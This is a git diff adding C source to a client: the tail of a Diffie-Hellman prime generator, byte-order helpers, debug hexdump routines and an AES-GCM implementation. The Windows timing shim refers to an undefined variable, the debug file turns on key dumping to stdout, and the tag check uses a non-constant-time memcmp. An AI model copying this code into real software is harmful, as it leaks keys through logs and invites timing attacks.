fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
|
||||
exit(1);
|
||||
}
|
||||
while (1)
|
||||
{
|
||||
generate_random(sz, random_bytes,dhk);
|
||||
random_bytes[sz-1] |= (unsigned char)0x40;
|
||||
random_bytes[0] |= (unsigned char)1;
|
||||
|
||||
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||
while (0 == mpz_probab_prime_p(tmp, 10))
|
||||
{
|
||||
mpz_add_ui(tmp, tmp, 2);
|
||||
}
|
||||
mpz_mul_ui(dhk->prime, tmp, 2);
|
||||
mpz_add_ui(dhk->prime, dhk->prime, 1);
|
||||
if (0 != mpz_probab_prime_p(dhk->prime, 10))
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(random_bytes);
|
||||
|
||||
mpz_set_ui(dhk->base, (unsigned long)2);
|
||||
|
||||
mpz_clear(tmp);
|
||||
mpz_clear(x);
|
||||
}
|
||||
|
||||
void init_numbers(Dh_key* dhk)
|
||||
{
|
||||
mpz_init(dhk->key);
|
||||
mpz_init(dhk->prime);
|
||||
mpz_init(dhk->base);
|
||||
mpz_init(dhk->private_key);
|
||||
mpz_init(dhk->public_key);
|
||||
}
|
||||
|
||||
void clear_numbers(Dh_key* dhk)
|
||||
{
|
||||
mpz_clear(dhk->key);
|
||||
mpz_clear(dhk->prime);
|
||||
mpz_clear(dhk->base);
|
||||
mpz_clear(dhk->private_key);
|
||||
mpz_clear(dhk->public_key);
|
||||
}
|
246
client/aes-common.h
Normal file
246
client/aes-common.h
Normal file
@ -0,0 +1,246 @@
|
||||
#ifndef AES_COMMON_H
|
||||
#define AES_COMMON_H
|
||||
|
||||
#include <ctype.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
/* integer types */
|
||||
|
||||
typedef unsigned char aes_uchar;
|
||||
typedef unsigned short aes_ushort;
|
||||
typedef unsigned int aes_uint;
|
||||
typedef unsigned long long aes_ulong;
|
||||
typedef signed char aes_char;
|
||||
typedef signed short aes_short;
|
||||
typedef signed int aes_int;
|
||||
typedef signed long long aes_long;
|
||||
|
||||
|
||||
/* byte order */
|
||||
|
||||
#if defined(__linux__) || defined(__GLIBC__)
|
||||
#include <endian.h>
|
||||
#include <byteswap.h>
|
||||
#endif /* defined(__linux__) || defined(__GLIBC__) */
|
||||
|
||||
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
|
||||
defined(__DragonFly__) || defined(__OpenBSD__)
|
||||
#include <sys/types.h>
|
||||
#include <sys/endian.h>
|
||||
#define __BYTE_ORDER _BYTE_ORDER
|
||||
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
|
||||
#define __BIG_ENDIAN _BIG_ENDIAN
|
||||
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
|
||||
* defined(__DragonFly__) || defined(__OpenBSD__) */
|
||||
|
||||
#ifdef sun
|
||||
#include <sys/isa_defs.h>
|
||||
#define __LITTLE_ENDIAN 1234
|
||||
#define __BIG_ENDIAN 4321
|
||||
#ifdef _LITTLE_ENDIAN
|
||||
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||
#else
|
||||
#define __BYTE_ORDER __BIG_ENDIAN
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#define __LITTLE_ENDIAN 1234
|
||||
#define __BIG_ENDIAN 4321
|
||||
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
#ifdef __APPLE__
|
||||
#include <sys/types.h>
|
||||
#include <machine/endian.h>
|
||||
#define __BYTE_ORDER BYTE_ORDER
|
||||
#define __LITTLE_ENDIAN LITTLE_ENDIAN
|
||||
#define __BIG_ENDIAN BIG_ENDIAN
|
||||
#endif /* __APPLE__ */
|
||||
|
||||
|
||||
/* byte swap macros */
|
||||
|
||||
#ifndef bswap_16
|
||||
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
|
||||
(((aes_ushort) (a) & 0x00ff) << 8))
|
||||
#endif
|
||||
|
||||
#ifndef bswap_32
|
||||
#if defined __GNUC__
|
||||
#define bswap_32(a) __builtin_bswap32(a)
|
||||
#else
|
||||
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
|
||||
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
|
||||
(((aes_uint) (a) & 0x0000ff00) << 8) | \
|
||||
(((aes_uint) (a) & 0x000000ff) << 24))
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef bswap_64
|
||||
#if defined __GNUC__
|
||||
#define bswap_64(a) __builtin_bswap64(a)
|
||||
#else
|
||||
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
|
||||
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
|
||||
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
|
||||
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
|
||||
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
|
||||
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
|
||||
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
|
||||
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
#if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
|
||||
#define le_to_host16(n) (n)
|
||||
#define host_to_le16(n) (n)
|
||||
#define be_to_host16(n) bswap_16(n)
|
||||
#define host_to_be16(n) bswap_16(n)
|
||||
#define le_to_host32(n) (n)
|
||||
#define host_to_le32(n) (n)
|
||||
#define be_to_host32(n) bswap_32(n)
|
||||
#define host_to_be32(n) bswap_32(n)
|
||||
#define le_to_host64(n) (n)
|
||||
#define host_to_le64(n) (n)
|
||||
#define be_to_host64(n) bswap_64(n)
|
||||
#define host_to_be64(n) bswap_64(n)
|
||||
#elif __BYTE_ORDER == __BIG_ENDIAN
|
||||
#define le_to_host16(n) bswap_16(n)
|
||||
#define host_to_le16(n) bswap_16(n)
|
||||
#define be_to_host16(n) (n)
|
||||
#define host_to_be16(n) (n)
|
||||
#define le_to_host32(n) bswap_32(n)
|
||||
#define host_to_le32(n) bswap_32(n)
|
||||
#define be_to_host32(n) (n)
|
||||
#define host_to_be32(n) (n)
|
||||
#define le_to_host64(n) bswap_64(n)
|
||||
#define host_to_le64(n) bswap_64(n)
|
||||
#define be_to_host64(n) (n)
|
||||
#define host_to_be64(n) (n)
|
||||
#else
|
||||
#error Could not determine CPU byte order
|
||||
#endif
|
||||
|
||||
|
||||
/* unaligned memory accesses */
|
||||
|
||||
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 8) | a[1];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
|
||||
{
|
||||
a[0] = val >> 8;
|
||||
a[1] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
|
||||
{
|
||||
return (a[1] << 8) | a[0];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
|
||||
{
|
||||
a[1] = val >> 8;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 16) | (a[1] << 8) | a[2];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[0] = (val >> 16) & 0xff;
|
||||
a[1] = (val >> 8) & 0xff;
|
||||
a[2] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[0] = (val >> 24) & 0xff;
|
||||
a[1] = (val >> 16) & 0xff;
|
||||
a[2] = (val >> 8) & 0xff;
|
||||
a[3] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
|
||||
{
|
||||
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[3] = (val >> 24) & 0xff;
|
||||
a[2] = (val >> 16) & 0xff;
|
||||
a[1] = (val >> 8) & 0xff;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
|
||||
{
|
||||
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
|
||||
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
|
||||
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
|
||||
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
|
||||
{
|
||||
a[0] = val >> 56;
|
||||
a[1] = val >> 48;
|
||||
a[2] = val >> 40;
|
||||
a[3] = val >> 32;
|
||||
a[4] = val >> 24;
|
||||
a[5] = val >> 16;
|
||||
a[6] = val >> 8;
|
||||
a[7] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
|
||||
{
|
||||
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
|
||||
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
|
||||
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
|
||||
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
|
||||
{
|
||||
a[7] = val >> 56;
|
||||
a[6] = val >> 48;
|
||||
a[5] = val >> 40;
|
||||
a[4] = val >> 32;
|
||||
a[3] = val >> 24;
|
||||
a[2] = val >> 16;
|
||||
a[1] = val >> 8;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
|
||||
/* function attribute macros */
|
||||
|
||||
#ifndef AES_WARN_UNUSED_RESULT
|
||||
#if defined __GNUC__
|
||||
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
|
||||
#else
|
||||
#define AES_WARN_UNUSED_RESULT
|
||||
#endif /* __GNUC__ */
|
||||
#endif /* AES_WARN_UNUSED_RESULT */
|
||||
|
||||
#endif /* AES_COMMON_H */
|
166
client/aes-debug.c
Normal file
166
client/aes-debug.c
Normal file
@ -0,0 +1,166 @@
|
||||
#define AES_DEBUG
|
||||
|
||||
#include "aes.h"
|
||||
|
||||
int aes_debug_level = MSG_EXCESSIVE;
|
||||
int aes_debug_show_keys = 1;
|
||||
int aes_debug_timestamp = 1;
|
||||
|
||||
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||
|
||||
#include <time.h>
|
||||
#include <windows.h>
|
||||
|
||||
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
|
||||
|
||||
int gettimeofday(struct timeval *tv, struct timezone *tz)
|
||||
{
|
||||
FILETIME ft;
|
||||
__int64 tmpres = 0;
|
||||
TIME_ZONE_INFORMATION tz_winapi;
|
||||
int ret = 0;
|
||||
|
||||
ZeroMemory(&ft,sizeof(ft));
|
||||
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
|
||||
|
||||
GetSystemTimeAsFileTime(&ft);
|
||||
|
||||
tmpres = ft.dwHighDateTime;
|
||||
tmpres <<= 32;
|
||||
tmpres |= ft.dwLowDateTime;
|
||||
|
||||
/*converting file time to unix epoch*/
|
||||
tmpres /= 10; /*convert into microseconds*/
|
||||
tmpres -= DELTA_EPOCH_IN_MICROSECS;
|
||||
tv->tv_sec = (__int32)(tmpres*0.000001);
|
||||
tv->tv_usec =(tmpres%1000000);
|
||||
|
||||
if (tz) {
|
||||
ret = GetTimeZoneInformation(&tz_winapi);
|
||||
tz->tz_dsttime = (ret == 2) ? true : false;
|
||||
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
void aes_debug_print_timestamp(void)
|
||||
{
|
||||
struct timeval tv;
|
||||
|
||||
if (!aes_debug_timestamp)
|
||||
return;
|
||||
|
||||
gettimeofday(&tv, NULL);
|
||||
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
|
||||
}
|
||||
|
||||
|
||||
void aes_printf(int level, const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
va_start(ap, fmt);
|
||||
if (level >= aes_debug_level) {
|
||||
aes_debug_print_timestamp();
|
||||
vprintf(fmt, ap);
|
||||
printf("\n");
|
||||
}
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
|
||||
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
|
||||
size_t len, int show)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
if (level < aes_debug_level)
|
||||
return;
|
||||
|
||||
aes_debug_print_timestamp();
|
||||
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
|
||||
if (buf == NULL) {
|
||||
printf(" [NULL]");
|
||||
} else if (show) {
|
||||
for (i = 0; i < len; i++)
|
||||
printf(" %02x", buf[i]);
|
||||
} else {
|
||||
printf(" [REDACTED]");
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
|
||||
{
|
||||
_aes_hexdump(level, title, buf, len, 1);
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
|
||||
{
|
||||
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
|
||||
}
|
||||
|
||||
|
||||
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len, int show)
|
||||
{
|
||||
size_t i, llen;
|
||||
const aes_uchar *pos = buf;
|
||||
const size_t line_len = 16;
|
||||
|
||||
if (level < aes_debug_level)
|
||||
return;
|
||||
|
||||
aes_debug_print_timestamp();
|
||||
if (!show) {
|
||||
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
|
||||
title, (unsigned long) len);
|
||||
return;
|
||||
}
|
||||
if (buf == NULL) {
|
||||
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
|
||||
title, (unsigned long) len);
|
||||
return;
|
||||
}
|
||||
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
|
||||
while (len) {
|
||||
llen = len > line_len ? line_len : len;
|
||||
printf(" ");
|
||||
for (i = 0; i < llen; i++)
|
||||
printf(" %02x", pos[i]);
|
||||
for (i = llen; i < line_len; i++)
|
||||
printf(" ");
|
||||
printf(" ");
|
||||
for (i = 0; i < llen; i++) {
|
||||
if (isprint(pos[i]))
|
||||
printf("%c", pos[i]);
|
||||
else
|
||||
printf("_");
|
||||
}
|
||||
for (i = llen; i < line_len; i++)
|
||||
printf(" ");
|
||||
printf("\n");
|
||||
pos += llen;
|
||||
len -= llen;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len)
|
||||
{
|
||||
_aes_hexdump_ascii(level, title, buf, len, 1);
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||
size_t len)
|
||||
{
|
||||
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
|
||||
}
|
60
client/aes-debug.h
Normal file
60
client/aes-debug.h
Normal file
@ -0,0 +1,60 @@
|
||||
#ifndef AES_DEBUG_H
|
||||
#define AES_DEBUG_H
|
||||
|
||||
/* gettimeofday */
|
||||
|
||||
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||
|
||||
struct timezone
|
||||
{
|
||||
int tz_minuteswest; /* minutes west of Greenwich */
|
||||
int tz_dsttime; /* type of dst correction */
|
||||
};
|
||||
|
||||
struct timeval {
|
||||
int tv_sec;
|
||||
int tv_usec;
|
||||
};
|
||||
|
||||
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
|
||||
|
||||
#else
|
||||
#include <sys/time.h>
|
||||
#endif
|
||||
|
||||
/* Debugging function - conditional printf and hex dump */
|
||||
|
||||
enum {
|
||||
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
|
||||
};
|
||||
|
||||
extern int aes_debug_level;
|
||||
extern int aes_debug_show_keys;
|
||||
extern int aes_debug_timestamp;
|
||||
|
||||
#ifndef AES_DEBUG
|
||||
|
||||
#define aes_debug_print_timestamp() do { } while (0)
|
||||
#define aes_printf(args...) do { } while (0)
|
||||
#define aes_hexdump(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_buf(l,t,b) do { } while (0)
|
||||
#define aes_hexdump_key(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
|
||||
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
|
||||
#define aes_dbg(args...) do { } while (0)
|
||||
|
||||
#else
|
||||
void aes_debug_print_timestamp(void);
|
||||
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
|
||||
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
|
||||
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
|
||||
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len);
|
||||
|
||||
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||
size_t len);
|
||||
|
||||
#endif /* AES_DEBUG_STDOUT */
|
||||
|
||||
#endif /* AES_DEBUG_H */
|
312
client/aes-gcm.c
Normal file
312
client/aes-gcm.c
Normal file
@ -0,0 +1,312 @@
|
||||
#include "aes.h"
|
||||
|
||||
static void inc32(aes_uchar *block)
|
||||
{
|
||||
aes_uint val;
|
||||
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
|
||||
val++;
|
||||
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
|
||||
}
|
||||
|
||||
|
||||
static void xor_block(aes_uchar *dst, const aes_uchar *src)
|
||||
{
|
||||
aes_uint *d = (aes_uint *) dst;
|
||||
aes_uint *s = (aes_uint *) src;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
}
|
||||
|
||||
|
||||
static void shift_right_block(aes_uchar *v)
|
||||
{
|
||||
aes_uint val;
|
||||
|
||||
val = AES_GET_BE32(v + 12);
|
||||
val >>= 1;
|
||||
if (v[11] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 12, val);
|
||||
|
||||
val = AES_GET_BE32(v + 8);
|
||||
val >>= 1;
|
||||
if (v[7] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 8, val);
|
||||
|
||||
val = AES_GET_BE32(v + 4);
|
||||
val >>= 1;
|
||||
if (v[3] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 4, val);
|
||||
|
||||
val = AES_GET_BE32(v);
|
||||
val >>= 1;
|
||||
AES_PUT_BE32(v, val);
|
||||
}
|
||||
|
||||
|
||||
/* Multiplication in GF(2^128) */
|
||||
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
|
||||
{
|
||||
aes_uchar v[16];
|
||||
int i, j;
|
||||
|
||||
memset(z, 0, 16); /* Z_0 = 0^128 */
|
||||
memcpy(v, y, 16); /* V_0 = Y */
|
||||
|
||||
for (i = 0; i < 16; i++) {
|
||||
for (j = 0; j < 8; j++) {
|
||||
if (x[i] & 1 << (7 - j)) {
|
||||
/* Z_(i + 1) = Z_i XOR V_i */
|
||||
xor_block(z, v);
|
||||
} else {
|
||||
/* Z_(i + 1) = Z_i */
|
||||
}
|
||||
|
||||
if (v[15] & 0x01) {
|
||||
/* V_(i + 1) = (V_i >> 1) XOR R */
|
||||
shift_right_block(v);
|
||||
/* R = 11100001 || 0^120 */
|
||||
v[0] ^= 0xe1;
|
||||
} else {
|
||||
/* V_(i + 1) = V_i >> 1 */
|
||||
shift_right_block(v);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void ghash_start(aes_uchar *y)
|
||||
{
|
||||
/* Y_0 = 0^128 */
|
||||
memset(y, 0, 16);
|
||||
}
|
||||
|
||||
|
||||
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||
{
|
||||
size_t m, i;
|
||||
const aes_uchar *xpos = x;
|
||||
aes_uchar tmp[16];
|
||||
|
||||
m = xlen / 16;
|
||||
|
||||
for (i = 0; i < m; i++) {
|
||||
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||
xor_block(y, xpos);
|
||||
xpos += 16;
|
||||
|
||||
/* dot operation:
|
||||
* multiplication operation for binary Galois (finite) field of
|
||||
* 2^128 elements */
|
||||
gf_mult(y, h, tmp);
|
||||
memcpy(y, tmp, 16);
|
||||
}
|
||||
|
||||
if (x + xlen > xpos) {
|
||||
/* Add zero padded last block */
|
||||
size_t last = x + xlen - xpos;
|
||||
memcpy(tmp, xpos, last);
|
||||
memset(tmp + last, 0, sizeof(tmp) - last);
|
||||
|
||||
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||
xor_block(y, tmp);
|
||||
|
||||
/* dot operation:
|
||||
* multiplication operation for binary Galois (finite) field of
|
||||
* 2^128 elements */
|
||||
gf_mult(y, h, tmp);
|
||||
memcpy(y, tmp, 16);
|
||||
}
|
||||
|
||||
/* Return Y_m */
|
||||
}
|
||||
|
||||
|
||||
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||
{
|
||||
size_t i, n, last;
|
||||
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
|
||||
const aes_uchar *xpos = x;
|
||||
aes_uchar *ypos = y;
|
||||
|
||||
if (xlen == 0)
|
||||
return;
|
||||
|
||||
n = xlen / 16;
|
||||
|
||||
memcpy(cb, icb, AES_BLOCK_SIZE);
|
||||
/* Full blocks */
|
||||
for (i = 0; i < n; i++) {
|
||||
aes_encrypt(aes, cb, ypos);
|
||||
xor_block(ypos, xpos);
|
||||
xpos += AES_BLOCK_SIZE;
|
||||
ypos += AES_BLOCK_SIZE;
|
||||
inc32(cb);
|
||||
}
|
||||
|
||||
last = x + xlen - xpos;
|
||||
if (last) {
|
||||
/* Last, partial block */
|
||||
aes_encrypt(aes, cb, tmp);
|
||||
for (i = 0; i < last; i++)
|
||||
*ypos++ = *xpos++ ^ tmp[i];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
|
||||
{
|
||||
void *aes;
|
||||
|
||||
aes = aes_encrypt_init(key, key_len);
|
||||
if (aes == NULL)
|
||||
return NULL;
|
||||
|
||||
/* Generate hash subkey H = AES_K(0^128) */
|
||||
memset(H, 0, AES_BLOCK_SIZE);
|
||||
aes_encrypt(aes, H, H);
|
||||
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
|
||||
return aes;
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
|
||||
{
|
||||
aes_uchar len_buf[16];
|
||||
|
||||
if (iv_len == 12) {
|
||||
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
|
||||
memcpy(J0, iv, iv_len);
|
||||
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
|
||||
J0[AES_BLOCK_SIZE - 1] = 0x01;
|
||||
} else {
|
||||
/*
|
||||
* s = 128 * ceil(len(IV)/128) - len(IV)
|
||||
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
|
||||
*/
|
||||
ghash_start(J0);
|
||||
ghash(H, iv, iv_len, J0);
|
||||
AES_PUT_BE64(len_buf, 0);
|
||||
AES_PUT_BE64(len_buf + 8, iv_len * 8);
|
||||
ghash(H, len_buf, sizeof(len_buf), J0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
|
||||
aes_uchar *out)
|
||||
{
|
||||
aes_uchar J0inc[AES_BLOCK_SIZE];
|
||||
|
||||
if (len == 0)
|
||||
return;
|
||||
|
||||
memcpy(J0inc, J0, AES_BLOCK_SIZE);
|
||||
inc32(J0inc);
|
||||
aes_gctr(aes, J0inc, in, len, out);
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
|
||||
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
|
||||
{
|
||||
aes_uchar len_buf[16];
|
||||
|
||||
/*
|
||||
* u = 128 * ceil[len(C)/128] - len(C)
|
||||
* v = 128 * ceil[len(A)/128] - len(A)
|
||||
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
|
||||
* (i.e., zero padded to block size A || C and lengths of each in bits)
|
||||
*/
|
||||
ghash_start(S);
|
||||
ghash(H, aad, aad_len, S);
|
||||
ghash(H, crypt, crypt_len, S);
|
||||
AES_PUT_BE64(len_buf, aad_len * 8);
|
||||
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
|
||||
ghash(H, len_buf, sizeof(len_buf), S);
|
||||
|
||||
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_gcm_ae - GCM-AE_K(IV, P, A)
|
||||
*/
|
||||
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
|
||||
{
|
||||
aes_uchar H[AES_BLOCK_SIZE];
|
||||
aes_uchar J0[AES_BLOCK_SIZE];
|
||||
aes_uchar S[16];
|
||||
void *aes;
|
||||
|
||||
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||
if (aes == NULL)
|
||||
return -1;
|
||||
|
||||
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||
|
||||
/* C = GCTR_K(inc_32(J_0), P) */
|
||||
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
|
||||
|
||||
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
|
||||
|
||||
/* T = MSB_t(GCTR_K(J_0, S)) */
|
||||
aes_gctr(aes, J0, S, sizeof(S), tag);
|
||||
|
||||
/* Return (C, T) */
|
||||
|
||||
aes_encrypt_deinit(aes);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
|
||||
*/
|
||||
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
|
||||
{
|
||||
aes_uchar H[AES_BLOCK_SIZE];
|
||||
aes_uchar J0[AES_BLOCK_SIZE];
|
||||
aes_uchar S[16], T[16];
|
||||
void *aes;
|
||||
|
||||
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||
if (aes == NULL)
|
||||
return -1;
|
||||
|
||||
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||
|
||||
/* P = GCTR_K(inc_32(J_0), C) */
|
||||
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
|
||||
|
||||
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
|
||||
|
||||
/* T' = MSB_t(GCTR_K(J_0, S)) */
|
||||
aes_gctr(aes, J0, S, sizeof(S), T);
|
||||
|
||||
aes_encrypt_deinit(aes);
|
||||
|
||||
if (memcmp(tag, T, 16) != 0) {
|
||||
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
|
||||
{
|
||||
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
|
||||
}
|
1021
client/aes-internal.c
Normal file
1021
client/aes-internal.c
Normal file
File diff suppressed because it is too large
Load Diff
113
client/aes-internal.h
Normal file
113
client/aes-internal.h
Normal file
@ -0,0 +1,113 @@
|
||||
#ifndef AES_INTERNAL_H
|
||||
#define AES_INTERNAL_H
|
||||
|
||||
